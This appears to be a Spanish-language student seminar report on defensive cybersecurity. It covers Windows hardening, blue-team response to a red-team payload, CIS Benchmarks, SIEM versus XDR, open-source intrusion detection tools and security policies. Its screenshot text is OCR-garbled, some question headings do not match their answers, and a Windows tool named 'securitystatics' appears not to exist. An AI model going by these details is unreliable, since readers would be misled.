La configuracion de actualizacion automatica para garantizar que el sistema
operativo y el software instalado estén constantemente actualizados con los
ultimos parches de seguridad.
La implementacion de politicas para tratar y distribuir actualizaciones de software

de manera eficiente y segura.
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€ Configuracion -

@ Inicio Windows Update

@ Buscando actualizaciones...

Faltan correcciones importantes de seguridad y calidad en tu dispositivo.

Buscar una configuracién P

Actualizacién y seguridad

& Unehrslzks Este equipo no cumple

N actualmente con los

B Crisrinch (ke © requisitos minimos del Obtener Comprobacién de estado del PC X
- sistema para ejecutar

¥ Seguridad de Windows 3
Windows 11

Obtén los detalles y comprucba si

T Copia de sequridad
e > algo que puedas hacer en la

aplicacion Comprobacion de estado
& Solucionar problemas del PC.
2, Recuperacién

() Pousar s actualizaciones durante 7 dias

@  Activacién
8 Bl D b Instalar actualizaciones tan pronto como sea posible

Te avisaremas antes del reinicio. Podrds pospanerlo si es necesario

Para programadores C i i

L prog (@, Cambiar horas activas
R a - sy A Romran EAM

Figura 29 Configuracion de seguridad de actualizaciéon de software.

= Windows10 [Corrienda] - Oracle VM Virtual

! o

) Proteccion antivirus y contra Proteccién de cuentas
| @ Inicio amenazas No se requiere ninguna accion.
No se requiere ninguna accién.
) Protecci6n antivirus y contra amenazas

R Proteccion de cuentas

—
) Firewall y proteccién de red (( |3
P

Bl Control de aplicaciones y navegader
Firewall y proteccién de red Control de aplicaciones y

No se requiere ninguna accion. navegador
No se requiere ninguna accion.

5 &

8 Seguridad del dispositivo
@ Rendimiento y estado del dispositivo
iy

Opcicnes de familia

Seguridad del dispositivo Rendimiento y estado del
Ver el estado y administrar las dispositivo

caracteristicas de seguridad de No se requiere ninguna accion.
hardware

$:  Configuracién

Figura 30 Configuracién de seguridad de actualizacion de software.
Configuracién de seguridad de dispositivos y controladores:
Medidas de seguridad para proteger los dispositivos conectados a la computadora,
como dispositivos USB y periféricos.
Se controla la instalacion de controladores de dispositivo para prevenir la carga de

controladores no firmados o maliciosos.
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& Administrador de dispositivos - [m} b3

Archivo  Accion  Ver  Ayuda
Je= = Bm e

4 v & Windows10

[ Adaptadores de pantalla

(57 Adaptadores de red

3P Baterias

= Colas de impresién

@ Controladoras ATA/ATAPI IDE

&y Controladoras de almacenamiento

§ Controladoras de bus serie universal
@ Controladoras de disquete

i Controladoras de sonido y video y dispositivos de juego
) Dispositivos de interfaz humana (HID)

1 B Dispositivos de software
= Dispositivos del sistema

i i Entradasy salidas de audio
= Equipo
[ Monitores

@ Mousey otros dispositives sefaladores
[ Procesadores

» [ Teclados

T+ Explorador de archivos

Figura 31 Configuracién de seguridad de dispositivos y controladores.

Configuracién de seguridad de opciones de energia:

Se configuran opciones de energia para asegurar que la computadora se bloguee
automaticamente después de un periodo de inactividad para protegerla contra
accesos no autorizados.

Se ajustan las configuraciones de energia para optimizar el rendimiento y la

seguridad del sistema.

Configuracién

) I Opeiones de energia T X Helplan v  ©  BuscarenelPanel de control P
Configuracion avanzada
Busc ; Q
- Seleccione el plan de energia que desea personalizar, y Mi plan personalizado 1

\L; después el Ia configuracién que refleje a forma Iny de pantalla pare su equipe.
ctual deseada para administrer la energia

Mi plan personalizado 1 [active] v e
5
i = Disco duro ~

5 Apsgar disco duro tras o

4 0 Configuracién: 20 Minutos

Internet Explorer
| Configuracién del fondo de escritario Guardar cambios Cancelar
L Configuracién de adaptador inaldmbrico

& Suspender

o 5] P<rmitir temporizadores de reactivacién|
Configuracion: Habilitar

Configuracién de USB

2N DO Bvnrece v
Restaurar valores predeterminados del plan

2 |

) Activacién
A Encontrar mi|

t  Para program

Figura 32 Configuracién de seguridad de opciones de energia
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6.2 ¢ TENIENDO EN CUENTA EL ATAQUE EJECUTADO DESDE EL

EJERCICIO DE RED TEAM LISTE EL PASO A PASO QUE EJECUTO

PARA SUBSANAR EL SISTEMA ANTE EL EVENTO DEL PAYLOAD?
Como experto en ciberseguridad, ante un ataque informatico en tiempo real, se
seguirian los siguientes pasos para identificar y abordar la situacion de manera

efectiva:

Monitoreo y deteccion:
Para garantizar la seguridad de su infraestructura, es crucial mantener un sistema
de monitoreo activo y en funcionamiento. Este sistema debe incluir herramientas

como:

Sistemas de deteccion de intrusiones (IDS/IPS): Detectan actividades andmalas
en la red.

Registros de eventos: Documentan todas las acciones que ocurren en el sistema.
Andlisis de trafico de red: Monitorean el flujo de datos para identificar patrones
inusuales.

Es fundamental estar atento a cualquier actividad sospechosa o fuera de lo normal
que pueda indicar un posible ataque en curso. Algunos ejemplos de estas

actividades incluyen:

Intentos fallidos de inicio de sesion: Pueden indicar que alguien esta intentando
acceder a su sistema sin autorizacion.

Aumentos repentinos en el trafico de red: Pueden ser un indicio de un ataque
DDoS.

Archivos o programas desconocidos: Pueden ser malware que se ha instalado en
Su sistema.

Al estar alerta a estas sefiales y actuar rapidamente, puede prevenir o mitigar el

impacto de un ataque.
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Andlisis inicial:

Analizar registros de eventos, alertas de seguridad y otros indicadores pertinentes.
Identificar los recursos y métodos implicados.

Evaluar la magnitud y naturaleza del ataque, en esta fase preliminar si es viable.
Contencién y aislamiento:

Desconectar o aislar los sistemas comprometidos para prevenir la expansion del
ataque.

Implementar medidas temporales de restriccion, como bloquear el trafico
sospechoso, inhabilitar cuentas de usuario comprometidas, entre otros.
Recopilacion de evidencias:

Recopilar y preservar todas las evidencias coherentes con el atague, como
registros de eventos, capturas de trafico de red, imagenes de memoria, etc.
Mantener una cadena de custodia adecuada para garantizar la integridad de las
pruebas.

Analisis forense:

Llevar a cabo una exhaustiva investigacion forense de los sistemas afectados para
descubrir el método de ataque, las tacticas empleadas, los archivos malignos
implicados, entre otros aspectos.

Emplear herramientas forenses especializadas, como escaneres de malware,
utilidades de analisis de memoria, entre otras.

Identificacién del atacante:

Examinar las indicaciones de compromiso (IoC) y cualquier otra informacién
relevante con el propdsito de identificar al agresor o al grupo de amenazas tras el
incidente.

Cooperar con entidades de seguridad y organismos gubernamentales, si se
requiere.

Mitigacion y recuperacion:

Implementar medidas de mitigacion para eliminar el malware, reestablecer

vulnerabilidades detonadas y fortalecer la seguridad de los sistemas.
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Restaurar los sistemas afectados desde copias de seguridad confiables, si es
necesario.

Endurecimiento y mejora de la seguridad:

Revisar y actualizar las politicas y controles de seguridad para abordar las
debilidades identificadas durante el incidente.

Implementar medidas de fortaleza (hardening) en los sistemas y aplicar parches
de seguridad relevantes.

Documentacién y reportes:

Registrar de manera minuciosa todos los pasos llevados a cabo durante la
respuesta al incidente, incluyendo las medidas ejecutadas, las herramientas
utilizadas, los resultados obtenidos y las ensefianzas adquiridas.

Elaborar informes de incidentes para las partes interesadas correspondientes,
como la direccion ejecutiva, los equipos de seguridad y las autoridades
pertinentes.

Lecciones aprendidas y mejora continua:

Evaluar el incidente de manera integral para identificar areas de mejora en los
procesos, herramientas y capacitacion del personal.

Implementar modificaciones y actualizaciones en los planes de respuesta a

incidentes, politicas y procedimientos de seguridad.?

3 Guia para la Gestion y Clasificacion de Incidentes de Seguridad de la Informacion.. (2018). (p. 14 - 27).
https://www.mintic.gov.co/gestionti/615/articles-5482_G21_Gestion_Incidentes.pdf
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6.3 ¢ QUE DIFERENCIA EXISTEN ENTRE LOS EQUIPOS ANTES
MENCIONADOS CON EL PURPLE TEAM Y,EQUIPOS DE RESPUESTA A
INCIDENTES INFORMATICOS?
Basandose en el ataque de Red Team, estos son los pasos que seguiria como
miembro del equipo Blue Team para subsanar el sistema y mitigar el impacto del

ataque del payload:

Identificacidén y contencion:

Monitorear activamente las alertas generadas por el sistema de deteccién de
intrusiones (IDS/IPS) y analizar los registros de eventos de seguridad en busca de
patrones andmalos o indicadores de compromiso (IoC) relacionados con el
ataque.

Una vez identificada la maquina Windows 10 x64 comprometida, proceder a
aislarla de la red mediante la desconexion fisica del cable de red o la
implementacion de reglas de bloqueo en el firewall para evitar cualquier
comunicacién entrante o saliente desde esa maquina.

Deshabilitar cuentas de usuario sospechosas y aplicar medidas de contencion
adicionales, como bloquear el acceso a recursos compartidos o detener servicios

especificos en la maquina comprometida.

Anélisis forense:

Crear una imagen forense completa del disco duro de la maquina comprometida
utilizando herramientas como FTK Imager, dd o Guymager, asegurando la
integridad de las evidencias mediante el calculo de valores hash.

Analizar la imagen forense con herramientas como Autopsy, Volatility o Redline
para identificar el vector de ataque, el payload utilizado (PoC_1019010161.exe),
las técnicas empleadas (conexion inversa, meterpreter, etc.), los archivos

maliciosos involucrados y cualquier otro indicador de compromiso.
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Revisar los registros de eventos de Windows, los archivos de registro de Prefetch
y las entradas de clave de registro para rastrear la actividad del atacante y
comprender mejor el alcance del compromiso.

Recopilar y preservar todas las evidencias forenses relevantes, como capturas de
trafico de red, imagenes de memoria y archivos de registro, manteniendo una

cadena de custodia adecuada.

Mitigacion y eliminacion del malware:

Utilizar herramientas antimalware como Malwarebytes, HitmanPro o Microsoft
Defender para intentar detectar y eliminar el payload y cualquier otro cdédigo
malicioso presente en el sistema.

Si las herramientas antimalware no son efectivas, realizar una reimagen completa
del sistema operativo desde una fuente de instalacion confiable y limpia, como un
medio de instalacion oficial de Microsoft.

Después de la reimagen, asegurarse de aplicar todas las actualizaciones y
parches de seguridad mas recientes para Windows 10.

Endurecimiento y aplicacion de parches:

Descargar e implementar la guia de endurecimiento (hardening) para Windows 10
proporcionada por Microsoft (https://docs.microsoft.com/en-
us/windows/security/threat-protection/windows-security-baselines).

Utilizar la herramienta "Politica de seguridad local" (secpol.msc) para aplicar las
configuraciones de seguridad recomendadas en la seccion "Configuracién de
seguridad de cuenta y politicas de auditoria".

Utilizar el "Editor de objetos de politicas de grupo" (gpedit.msc) para aplicar las
configuraciones recomendadas en las secciones "Configuracion de seguridad de
acceso a objetos", "Configuracion de seguridad de red", "Configuracién de

seguridad de inicio y recuperacion del sistema”, entre otras.
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Utilizar el "Visor de la configuracién de seguridad” (securitystatics) para revisar y
aplicar las configuraciones recomendadas en la seccién "Configuracion de
seguridad de eventos de registro”.

Hay que asegurar que el firewall de Windows, Windows Defender y otros sistemas
de seguridad estén habilitados y actualizados con las ultimas definiciones de
firmas.

Aplicar todas las actualizaciones y parches de seguridad disponibles para
Windows 10 y otras aplicaciones instaladas en el sistema.

Monitoreo y vigilancia continua:

Implementar herramientas de monitoreo de integridad de archivos (FIM) como
Tripwire 0 OSSEC para detectar cambios no autorizados en archivos criticos del
sistema, como archivos ejecutables, bibliotecas compartidas y archivos de
configuracion.

Configurar reglas personalizadas en el sistema de deteccion de intrusiones
(IDS/IPS) para monitorear y alertar sobre actividades sospechosas o0 patrones de
trafico de red similares a los observados durante el ataque.

Realizar analisis peridédicos de linea base de la memoria, los procesos en
ejecucion y las conexiones de red activas para detectar cualquier desviacion de un

estado conocido y seguro.

Documentacion y reporte:

Documentar detalladamente todas las acciones realizadas durante el proceso de
respuesta al incidente, incluyendo las herramientas utilizadas, los comandos
ejecutados, las configuraciones aplicadas y los resultados obtenidos.

Generar un informe completo que describa el incidente, el andlisis forense
realizado, las medidas de mitigaciébn y endurecimiento implementadas, y las

lecciones aprendidas.
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Compatrtir el informe con los equipos relevantes, como el equipo de seguridad de
la informacién, el equipo de operaciones de Tl y la alta direccion, para facilitar la

toma de decisiones y la mejora continua en materia de ciberseguridad.

Lecciones aprendidas y mejora continua:

Realizar una revision exhaustiva del incidente, analizando los factores que
contribuyeron al compromiso, las debilidades en los procesos y controles de
seguridad, y las areas de mejora identificadas.

Actualizar los planes de respuesta a incidentes, las politicas de seguridad y los
procedimientos operativos estandar (POE) segun las lecciones aprendidas y las
mejores préacticas de la industria.

Implementar controles de seguridad adicionales, como la restriccidn de ejecucion
de archivos no autorizados, la implementacién de soluciones de prevencion de
ejecucion de datos (DEP), y la aplicacion de listas blancas de aplicaciones y
procesos permitidos.

Desarrollar e implementar programas de concientizacion y capacitacidon en
seguridad para todo el personal, enfatizando la importancia de no ejecutar
archivos desconocidos, mantener los sistemas actualizados y reportar de
inmediato cualquier actividad sospechosa.

Evaluar la adquisicion e implementacion de herramientas de seguridad
adicionales, como sistemas de gestion de eventos e informacién de seguridad
(SIEM), soluciones de respuesta a incidentes y plataformas de orquestacion,
automatizacion y respuesta de seguridad (SOAR), para mejorar la capacidad de
deteccidn, respuesta y recuperacion ante incidentes de seguridad.
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6.4 ¢ QUE FUNCION TIENE CIS “CENTER FOR INTERNET SECURITY”
DENTRO DE EQUIPOS BLUETEAM? REALIZAR UN PEQUENO
TUTORIAL DE COMO FUNCIONA CIS Y QUE SE DEBE HACER PARA
ENCONTRAR LOS TUTORIALES QUE POSEE.

Se Explica las diferencias principales:

Blue Team (Equipo Defensivo):

Su principal objetivo es proteger los sistemas y redes de la organizacion
contra amenazas y ataques.

Se enfocan en implementar y mantener controles de seguridad, como
firewalls, antivirus, deteccion de intrusos, parches de seguridad, etc.
Monitorean y analizan continuamente los sistemas para detectar
actividades sospechosas o violaciones de seguridad.

Responden a incidentes de seguridad y buscan mitigar el impacto de los

ataques.

Red Team (Equipo Ofensivo):

Su objetivo es emular a los atacantes reales y probar la efectividad de las
defensas de seguridad.

Realizan pruebas de penetracién éticas y simulaciones de ataques para
identificar vulnerabilidades y debilidades en los sistemas.

Ayudan a la organizacién a comprender mejor las amenazas y a mejorar

sus controles de seguridad.

Purple Team:

Es una combinacion de los equipos Blue Team y Red Team.

Trabajan juntos para compartir informacion, técnicas y conocimientos.

El Blue Team aprende de las tacticas y herramientas del Red Team,
mientras que el Red Team aprende sobre las defensas implementadas por

el Blue Team.
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El objetivo es mejorar continuamente las capacidades defensivas y

ofensivas de la organizacion.

Equipos de Respuesta a Incidentes Informaticos (CIRT/CSIRT):

Son equipos especializados en la gestion y respuesta a incidentes de
seguridad.

Se enfocan en detectar, analizar y responder a incidentes de seguridad en
tiempo real.

Trabajan en estrecha colaboracion con los equipos Blue Team y Red Team.
Investigan los incidentes, contienen el dafo, recopilan pruebas forenses y
aplican medidas de mitigacion y recuperacion.

Pueden estar formados por analistas de seguridad, expertos forenses,

ingenieros de redes y otros especialistas.

1. ¢Qué funcién tiene CIS “Center For Internet Security” dentro de

equipos BlueTeam? Usted debe realizar un pequefio tutorial de cémo
funciona CIS y qué se debe hacer para encontrar los tutoriales que

posee.

El papel del Center for Internet Security (CIS) es esencial para los equipos Blue

Team al ofrecer directrices y practicas Optimas para fortalecer y proteger sistemas

informaticos de forma estandarizada.

El CIS, una organizacién sin animo de lucro, se dedica a identificar, desarrollar y

difundir las mejores préacticas en ciberseguridad para sistemas y aplicaciones

comunes. Uno de sus principales recursos son las Benchmarks de Seguridad CIS.

Estas Benchmarks de Seguridad CIS consisten en recomendaciones vy

configuraciones de seguridad para una variedad de sistemas operativos
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(Windows, Linux, Unix), servidores de aplicaciones (Apache, Nginx, 1I1S), bases de
datos, software de oficina y mas. Dichas benchmarks son elaboradas por
especialistas y validadas por la comunidad, con el propésito de ofrecer una base
solida de configuraciones de seguridad.

Tutorial de como funciona CIS y cOmo encontrar sus tutoriales:

1. Visite el sitio web del CIS: https://www.cisecurity.org/

2. En la seccién "Resources" (Recursos), haga clic en "CIS Benchmarks"
(Benchmarks de CIS).

3. Aqui encontrara una lista de las benchmarks disponibles, organizadas por
categorias como sistemas operativos, aplicaciones web, bases de datos, etc.

4. Seleccione la benchmark que le interese, por ejemplo, "CIS Microsoft Windows
10 Enterprise Release 21H2 Benchmark".

5. Puede descargar el documento PDF con la benchmark completa o ver un
resumen en linea.

6. La benchmark contiene una serie de controles de seguridad organizados por
areas, como configuracién del sistema operativo, politicas de cuenta, servicios y
aplicaciones, red, registros y auditoria, etc.

7. Cada control proporciona una descripcion detallada, una explicacién de la razén
de seguridad, los pasos de auditoria para verificar el cumplimiento y los pasos de
remediacion para aplicar la configuracién recomendada.

8. Ademas de las benchmarks, el CIS ofrece herramientas automatizadas (CIS-
CAT) para evaluar y reportar el cumplimiento de las configuraciones
recomendadas en sus sistemas.

9. También hay recursos adicionales como guias de implementacion, plantillas de

politicas y videos tutoriales.*

4 Cis Security. (2020). CIS Center for Internet Security. CIS Benchmarks. https://www.cisecurity.org/cis-
benchmarks/.
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6.5 TABLA DIFERENCIAS EXISTENTES ENTRE: SIEM Y XDR.

Caracteristica

SIEM

XDR

Enfoque Recopilacion y analisis de logs | Deteccidbn 'y respuesta a
y eventos de seguridad de | amenazas en  multiples
multiples fuentes. capas de la infraestructura

de TI.

Fuentes de | Principalmente logs de | Datos de endpoints, redes,

datos dispositivos de  seguridad | correo electrénico,
(firewalls, IPS, antivirus, etc.) y | identidades, aplicaciones en
logs de sistemas (servidores, | la nube y mas.
aplicaciones, bases de datos).

Andlisis de | Correlacion de eventos y logs | Utiliza analisis de

datos para  detectar = amenazas | comportamiento, inteligencia
conocidas y anomalias. de amenazas, aprendizaje

automatico y otras técnicas
avanzadas.

Capacidades Monitoreo de seguridad, | Deteccion de amenazas,
generacion de alertas, | investigacion, contencion,
cumplimiento y reportes. respuesta y remediacion

automatizadas.

Visibilidad Principalmente en entornos | Visibilidad completa en
locales y limitada a los|endpoints, redes, correo
dispositivos y sistemas | electronico, aplicaciones en
monitoreados. la nube y mas.

Respuesta a | Debe integrarse con otras | Capacidades de respuesta y
incidentes herramientas para una | remediacion automatica
respuesta completa. integradas.

Implementacion | Solucion basada en reglas y | Solucién basada en
correlaciones definidas por el | inteligencia artificial y

usuario.

aprendizaje automatico.

Escalabilidad

Puede ser dificil de escalar a
medida que se agregan mas
fuentes de datos.

Disefiado para escalar vy
manejar grandes volimenes
de datos de multiples
fuentes.

Uso tipico

Usado por equipos de
operaciones de seguridad
(SOC) para monitoreo Yy
cumplimiento.

Usado por equipos de
seguridad para deteccion,
investigacion y respuesta a
amenazas.
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6.6 HERRAMIENTAS DE DETECCION DE ATAQUES INFORMATICOS
CON LICENCIA GPL.

gsch:riSpr:;(iJérr:: Snort constituye un sistema de deteccion de intrusiones en red
(NIDS) de codigo abierto, fundamentado en firmas. Se encarga de analizar el
trafico de la red en tiempo real, con la capacidad de identificar una amplia gama
de ataques, que incluyen escaneos de puertos, ataques de denegacion de servicio
(DoS), intrusiones en la red, entre otros.

Caracteristicas clave: Ofrece una gran flexibilidad para personalizar las reglas de
deteccion, habilidad para realizar analisis de trafico en tiempo real y soporte para
diversas plataformas.

Sitio web: https://www.snort.org/

6.6.2 Suricata:
Descripcidn: Suricata se presenta como otro sistema de deteccion de intrusiones

en red de codigo abierto y multiplataforma. Al igual que Snort, tiene la capacidad
de realizar andlisis de trafico en tiempo real y detectar una amplia gama de
amenazas de seguridad en la red.

Caracteristicas clave: Destaca por su motor de deteccidon de amenazas de alto
rendimiento, soporte para reglas de firma y deteccién basada en comportamientos,
asi como por su integracién con otros sistemas de seguridad.

Sitio web: https://suricata.io/

6.6.3 OSSEC:
Descripcion: OSSEC (Open Source HIDS SECurity) se perfila como un sistema de

deteccién de intrusiones en host (HIDS) de cdédigo abierto. Se despliega en
sistemas individuales para supervisar la integridad del sistema, registros de

eventos y archivos de registro en busca de indicios de actividad maliciosa.

70


https://www.snort.org/
https://suricata.io/

Caracteristicas clave: Incluye monitoreo de integridad del sistema y archivos de
registro, deteccion de intrusiones basada en reglas y analisis de comportamiento,
asi como alertas en tiempo real.

Sitio web: https://www.ossec.net/
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7 APORTES A LA CIBERSEGURIDAD A LA INTEGRACION DE EQUIPOS
BLUE TEAM, RED TEAM Y PURPLE DENTRO DE UNA ORGANIZACION.

La combinacion de los equipos Blue Team, Red Team y Purple Team en una
organizacion puede aportar significativamente al campo de la ciberseguridad al
animar un enfoque proactivo, colaborativo y holistico para la descubrimiento,
prevencion y respuesta ante amenazas cibernéticas. Por eso la integracion de los
equipos Blue Team, Red Team y Purple Team permite adoptar un enfoque
proactivo y holistico en materia de ciberseguridad. fomentando la mejora continua
de las defensas, valida las capacidades de seguridad, desarrolla habilidades y
conocimientos, mejora la respuesta a incidentes y promueve una cultura de

seguridad sélida en toda la organizacion.

Cada equipo desempefia un papel fundamental y complementario:

Blue Team (Equipo Defensivo):

El Blue Team se encarga de fortificar las defensas de seguridad y proteger las
redes y sistemas de la organizacion. Sus primordiales responsabilidades incluyen
implementar y mantener revisiones de seguridad, como antivirus, firewalls,
sistemas de deteccion de infracciones, parches de seguridad y politicas de
seguridad. Ademas, monitorean acérrimamente los sistemas para descubrir
acciones sospechosas y responden a eventualidades de seguridad con el objetivo

de debilitar su impacto.

Red Team (Equipo Ofensivo):

El Red Team asume el rol de los atacantes reales y realiza pruebas de
penetracion éticas y simulaciones de agresiones contra los sistemas de la
organizacion. Esto les permite identificar vulnerabilidades y debilidades en las
resguardos de seguridad, emulando las tacticas, técnicas y procedimientos (TTP)

manejados por los ciberdelincuentes. Al exhibir estas brechas de seguridad de
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caracter controlado, el Red Team suministra informacion meritoria para mejorar las

capacidades defensivas de la organizacion.

Purple Team (Equipo Integrado):

El Purple Team es la combinacién del Blue Team y el Red Team, trabajando en
estrecha contribucion. Ambos equipos colaboran informacién, técnicas vy
conocimientos, lo que les admite aprender mutuamente. El Blue Team puede
educarse de las tacticas y herramientas utilizadas por el Red Team, mientras que
el Red Team puede percibir mejor las defensas implementadas por el Blue Team.
Esta sinergia aviva un ciclo continuo de mejora, donde se fortalecen las

capacidades defensivas y ofensivas de la organizacion.

La integracion de estos tres equipos aporta varios beneficios clave en el campo de

la ciberseguridad:

e Mejora continua de las defensas: Al trabajar unidos, el Blue Team y el
Red Team consiguen identificar y encontrarse de manera proactiva las
vulnerabilidades y debilidades en la infraestructura de seguridad de la
organizacion. Esto permite implementar controles de seguridad mas

efectivos y fortalecer continuamente las defensas.

e Validacién de las capacidades de seguridad: El Red Team libra un papel
crucial al evaluar la eficacia de las medidas de seguridad implementadas
por el Blue Team. Esto ayuda a la organizacion a percibir su postura de
seguridad existente y a tomar decisiones informadas sobre las inversiones y

mejoras necesarias.

e Desarrollo de habilidades y conocimientos: La interaccion entre los
equipos fomenta la reciprocidad de conocimientos y la mejora de las

destrezas técnicas de los profesionales de seguridad. El Blue Team puede
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ilustrarse de las técnicas y herramientas utilizadas por el Red Team,
mientras que el Red Team puede conservar las actualizaciones sobre las

ultimas defensas y controles implementados.

Respuesta mas efectiva a incidentes: Al trabajar vinculados, los equipos
pueden responder de manera mas eficiente y rapida a los incidentes de
seguridad. El Red Team consigue proporcionar informacion valiosa sobre
las técnicas y tacticas utilizadas por los atacantes, mientras que el Blue
Team puede emplear sus conocimientos y experiencia en la contencion y

mitigacion de amenazas.

Concienciacion y cultura de seguridad: La presencia de un Red Team
interno origina una mayor conciencia sobre la importancia de la seguridad
en toda la organizacién. Los ejercicios de pruebas de penetracion y las
simulaciones de ataques fomentan una cultura de seguridad sdlida y
ayudan a capacitar al personal sobre las amenazas cibernéticas y las
mejores practicas de seguridad.
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8 POLITICAS DE SEGURIDAD Y RECOMENDACIONES EN LA MEJORA
DE CIBERSEGURIDAD EN ENTORNOS T.1.

Se presentan varias politicas de seguridad y recomendaciones claves para
mejorar los aspectos de ciberseguridad en cualquier organizacién en sus entornos

de tecnologias de la informacion (TI):

1. Politica de gestion de parches y actualizaciones:

e Establecer un proceso consecuente para la tipificaciébn, prueba e
implementacion acertada de parches y actualizaciones de seguridad para
sistemas operativos, aplicaciones y dispositivos de red.

e Pruebas exhaustivas en un entorno de ensayo antes de implementar los
parches en los sistemas de produccion.

e Mantener un inventario actualizado de todos los activos de TI para facilitar

el seguimiento y la aplicacion de parches.

2. Politica de control de acceso y privilegios:

e Implementar el principio de menor privilegio, concediendo solo los permisos
precisos para que los usuarios y aplicaciones realicen sus labores.

e Utilizar una gestion agrupada de cuentas y contrasefias solidas, con
exigencias de complejidad y cambio periddico.

e Implementar la autenticacion multifactor (MFA) para accesos criticos y
remotos.

e Realizar revisiones habituales de cuentas y privilegios para eliminar

accesos innecesarios.
3. Politica de respaldo y recuperacion de datos:

e Establecer un plan de recuperacion y respaldo de datos bien impuesto y
probado.
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Realizar Copiar backup periédicos de datos criticos, aplicaciones y
configuraciones de sistemas.

Almacenar las copias de respaldo en sitios seguros y separados
fisicamente de los sistemas de produccion.

Probar regularmente la recuperacion de datos desde las copias de respaldo

para garantizar su funcionalidad e integridad.

4. Politica de seguridad de red:

Implementar controles de acceso y segmentacion de redes asentados en
roles para restringir el movimiento lateral de amenazas.

Configurar sistemas de deteccion de intrusiones (IDS/IPS) vy firewalls para
monitorear y proteger el trafico de red.

Utilizar redes privadas virtuales (VPN) y cifrado de datos para proteger las
comunicaciones remotas y la transferencia de informacion confidencial.
Realizar evaluaciones periddicas de vulnerabilidades de red y pruebas de

penetracion para identificar y mitigar debilidades.

5. Politica de gestion de dispositivos moviles y BYOD (Bring Your Own Device):

Establecer pautas claras para el uso de dispositivos moviles y personales
en el entorno corporativo.

Implementar soluciones de gestion de dispositivos moviles (MDM) para
controlar y proteger los dispositivos autorizados.

Exigir el cifrado de datos y la configuracién de contrasefias sélidas en los
dispositivos méviles.

Definir claramente las responsabilidades de los usuarios y las restricciones

sobre el acceso y el uso de datos corporativos en dispositivos personales.

6. Politica de concienciacion y capacitacion en seguridad:
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Implementar un programa continuo de concienciacion y capacitacion en
seguridad para todos los empleados y contratistas.

Cubrir temas como phishing, ingenieria social, uso de internet seguro,
aseguramiento de datos y practicas de seguridad en las casas y en el
trabajo.

Realizar simulaciones peridédicas de ataques de phishing para estimar la
efectividad de la capacitacion y reforzar las mejores practicas.

Mantener actualizados a los empleados en amenazas cibernéticas y las

medidas de seguridad correspondientes.

7. Politica de gestion de incidentes de seguridad:

Establecer un plan de respuesta a ocurrencias bien documentado y
probado.

Definir roles y responsabilidades claros para el equipo de respuesta a
incidentes.

Implementar herramientas y procesos para la deteccion, contencion,
erradicacion y recuperacion de incidentes.

Realizar simulaciones periddicas de incidentes para evaluar la preparacion
y mejorar los procesos de respuesta.

Mantener una estrecha colaboracion con las autoridades y organismos de

seguridad relevantes.

8. Politica de evaluacion y pruebas de seguridad:

Realizar evaluaciones periddicas de vulnerabilidades en sistemas,
aplicaciones y redes.

Llevar a cabo pruebas de penetracion éticas y simulaciones de ataques
para validar la efectividad de las defensas de seguridad.

Involucrar a equipos internos o externos de Red Team para emular ataques

realistas y probar las capacidades de deteccion y respuesta.
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Documentar y abordar todas las vulnerabilidades y debilidades identificadas

durante las evaluaciones y pruebas.

9. Politica de gestion de proveedores y cadena de suministro:

Establecer requisitos de seguridad claros para los proveedores y terceros
gue tengan acceso a los sistemas y datos de la organizacion.

Realizar evaluaciones de seguridad y auditorias periddicas a los
proveedores para garantizar el cumplimiento de los requisitos.

Implementar controles de seguridad para la gestion de la cadena de
suministro, como la verificacion de integridad del software y el hardware.
Mantener una comunicacién constante y un monitoreo continuo de los

proveedores para identificar y mitigar riesgos de seguridad.

10. Politica de cumplimiento normativo y regulatorio:

Mantenerse actualizado sobre las leyes, regulaciones y estandares de
seguridad aplicables a la industria y la region geografica de la organizacion.
Implementar controles y procedimientos para garantizar el cumplimiento de
los requisitos normativos y regulatorios.

Realizar auditorias de cumplimiento perioddicas y abordar cualquier brecha o
incumplimiento identificado.

Mantener una documentacion detallada y registros de auditoria para

demostrar el cumplimiento normativo.
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9 CONCLUSIONES, ASPECTOS IMPORTANTES EN CUANDO A LA

INVERSION DE CIBERSEGURIDAD DENTRO DE LAS ORGANIZACIONES.

La importancia de invertir en ciberseguridad dentro de las organizaciones se

identifica en los siguientes aspectos:

1. Cumplimiento normativo y legal

Las organizaciones deben cumplir con las leyes y regulaciones vigentes en
materia de ciberseguridad, como la Ley N° 1273 de 2009 sobre Delitos
Informaticos y la Ley N° 1581 de 2012 de Proteccion de Datos Personales
en Colombia. El incumplimiento de estas regulaciones puede resultar en
importantes sanciones financieras y legales. Por tanto, invertir en
ciberseguridad es fundamental para garantizar el cumplimiento normativo y

evitar multas y responsabilidades legales.

2. Proteccioén de activos criticos

Las organizaciones tienen activos criticos como sistemas informaticos,
redes, datos confidenciales y propiedad intelectual que deben protegerse
de las amenazas cibernéticas. Los incidentes de seguridad pueden
provocar la pérdida, el robo o el dafio de estos activos, lo que puede tener
consecuencias devastadoras para la continuidad del negocio, la reputacién
y los ingresos de una organizacion. Invertir en ciberseguridad le permite
implementar controles y medidas de seguridad adecuados para proteger

estos activos criticos.

3. Prevencion y mitigacion de incidentes

A lo largo del seminario, se abordaron escenarios de pruebas de
penetracién (pentesting) y ataques informaticos, como la ejecucion de
payloads maliciosos y la explotacion de vulnerabilidades. Estos ejercicios
demostraron la importancia de contar con capacidades solidas de

deteccién, respuesta y mitigaciéon de incidentes de seguridad. Invertir en
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ciberseguridad permite desarrollar estas capacidades, o que reduce el

riesgo de incidentes graves y minimiza el impacto en caso de que ocurran.

4. Fortalecimiento de la postura de seguridad

El seminario explor6 varias herramientas y técnicas de seguridad de red,
como la configuracion de politicas de seguridad, refuerzo, implementacion
de firewalls y actualizacion de software. Estas medidas son fundamentales
para fortalecer la postura de seguridad de una organizacion y reducir su
superficie de ataque. Invertir en ciberseguridad le permite adquirir e
implementar estas herramientas y tecnologias, aumentando asi la

resiliencia de la organizacion frente a amenazas cibernéticas.

5. Proteccion de la reputacién y la confianza de los clientes

Los incidentes de seguridad graves pueden dafiar gravemente la reputacion
de una organizacién y erosionar la confianza de los clientes. Esto puede
provocar pérdidas financieras significativas y dificultar la recuperaciéon de la
imagen corporativa. Invertir en ciberseguridad ayuda a prevenir y mitigar
estos incidentes, protegiendo asi la reputacion y la confianza de los clientes

en la organizacion.

6. Cumplimiento de estandares y mejores practicas

En el seminario, se abordaron estandares y mejores practicas de
ciberseguridad, como las Benchmarks del Center for Internet Security (CIS)
y las recomendaciones de endurecimiento de sistemas de Microsoft.
Cumplir con estos estandares y mejores practicas es fundamental para
garantizar una postura de seguridad soélida y alineada con las expectativas
de la industria. Invertir en ciberseguridad permite implementar estos

estandares y practicas recomendadas.

